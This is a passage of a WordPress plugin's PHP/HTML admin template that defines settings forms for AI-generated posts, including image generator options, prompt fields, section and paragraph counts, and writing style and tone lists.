placeholder="0" class="valuesai1b cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition1b" name="search_query_repetition" class="valuesai1b cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images1b" onchange="hideImage('1b');" name="enable_ai_images" class="valuesai1b cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select> </td> </tr> <tr class="hideImg1b cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="ai_command_image" id="ai_command_image1b" placeholder="Please insert a command for the AI image generator" class="valuesai1b cr_width_full">Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.</textarea> </td> </tr> <tr class="hideDalle1b cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model1b" name="image_model" class="valuesai1b cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg1b cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model1b" name="image_size" class="valuesai1b cr_width_full"> <option value="256x256"><?php echo esc_html__("256x256", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_prepend" id="post_prepend1b" placeholder="HTML content to prepend to the AI generated content" class="valuesai1b cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_append" id="post_append1b" placeholder="HTML content to append to the AI generated content" class="valuesai1b cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="custom_shortcodes" id="custom_shortcodes1b" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="valuesai1b cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title1b" name="strip_title" class="valuesai1b"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin1b" name="skip_spin" class="valuesai1b"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate1b" name="skip_translate" class="valuesai1b"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="strip_by_regex" id="strip_by_regex1b" placeholder="regex expression" class="valuesai1b cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="replace_regex" id="replace_regex1b" placeholder="regex replacement" class="valuesai1b cr_width_full"></textarea> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok1b" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> <div id="mymodalfzr2" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close2" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("YouTube Video To Post", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id2" name="assistant_id" class="valuesai2 cr_width_full" onchange="assistantSelected('2');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("YouTube Video Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input a comma separated list of video captions prefered languages to use for the %%video_caption%% shortcode. Please use a comma separated list of 2 character language codes. Ex: en,es,hu,br. The plugin will use the fisrt language in the list that matches. If you leave this field blank, the default language caption will be imported for each video.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Video Caption Preferred Languages:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="default_lang" id="default_lang2" value="" placeholder="Please insert a language list for video captions" class="valuesai2 cr_width_full"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum length of captions in prompts. This is useful to have, when captions can be very long.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Video Caption Maximum Character Length In Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="max_caption" id="max_caption2" value="3000" placeholder="Caption maximum length" class="valuesai2 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI generated titles for the posts created by the plugin. If not, the YouTube video title will be used.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use AI Generated Post Titles:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_titles2" name="ai_titles" class="valuesai2"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Sections List (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="post_sections_list" id="post_sections_list2" placeholder="Post sections list (one per line)" class="valuesai2 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Content Sections To Generate:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="section_count2" name="section_count" placeholder="3-4" class="valuesai2 cr_width_full" value="3-4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with sections in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Sections To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai2 cr_width_full" id="sections_role2" name="sections_role"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count2" name="paragraph_count" placeholder="2-3" class="valuesai2 cr_width_full" value="2"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of Images To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="topic_images" id="topic_images2" value="" placeholder="Number of images" class="valuesai2 cr_width_full"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add an image to each of the creating headings from the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add An Image To Each Heading Of The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="img_all_headings2" name="img_all_headings" class="valuesai2" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the location of the heading images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Heading Image Location:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="heading_img_location2" name="heading_img_location" class="valuesai2 cr_width_full"> <option value="top" selected><?php echo esc_html__("Top of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="heading" selected><?php echo esc_html__("Under the heading text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bottom"><?php echo esc_html__("Bottom of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="random"><?php echo esc_html__("Random (Top/Bottom)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you would like to add the source YouTube video to the end of the created article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add The YouTube Video To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_videos2" name="topic_videos" class="valuesai2"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_outro" id="title_outro2" value="{In Conclusion|To Conclude|In Summary|To Wrap It Up|Key Takeaways|Future Outlook|Closing Remarks|The Conclusion|Final Thoughts|In Retrospect|The Way Forward|Wrapping Up|Concluding Remarks|Insights and Conclusions}" placeholder="Optional" class="valuesai2 cr_width_full"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Table Of Contents:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc2" name="enable_toc" class="valuesai2"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Table Of Contents Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="title_toc" id="title_toc2" value="Table of Contents" placeholder="Table of Contents" class="valuesai2 cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Q&A Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa2" name="enable_qa" class="valuesai2"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_qa" id="title_qa2" value="Q&A" placeholder="Q&A" class="valuesai2 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language2" name="content_language" type="text" list="languages2" placeholder="Created content language" class="valuesai2 coderevolution_gutenberg_input" value="English"/> <datalist id="languages2"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style2" name="writing_style" type="text" placeholder="Created content writing style" list="writing_styles2" class="valuesai2 coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles2"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone2" name="writing_tone" type="text" list="writing_tones3" placeholder="Created content writing tone" class="valuesai2 coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones3"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text 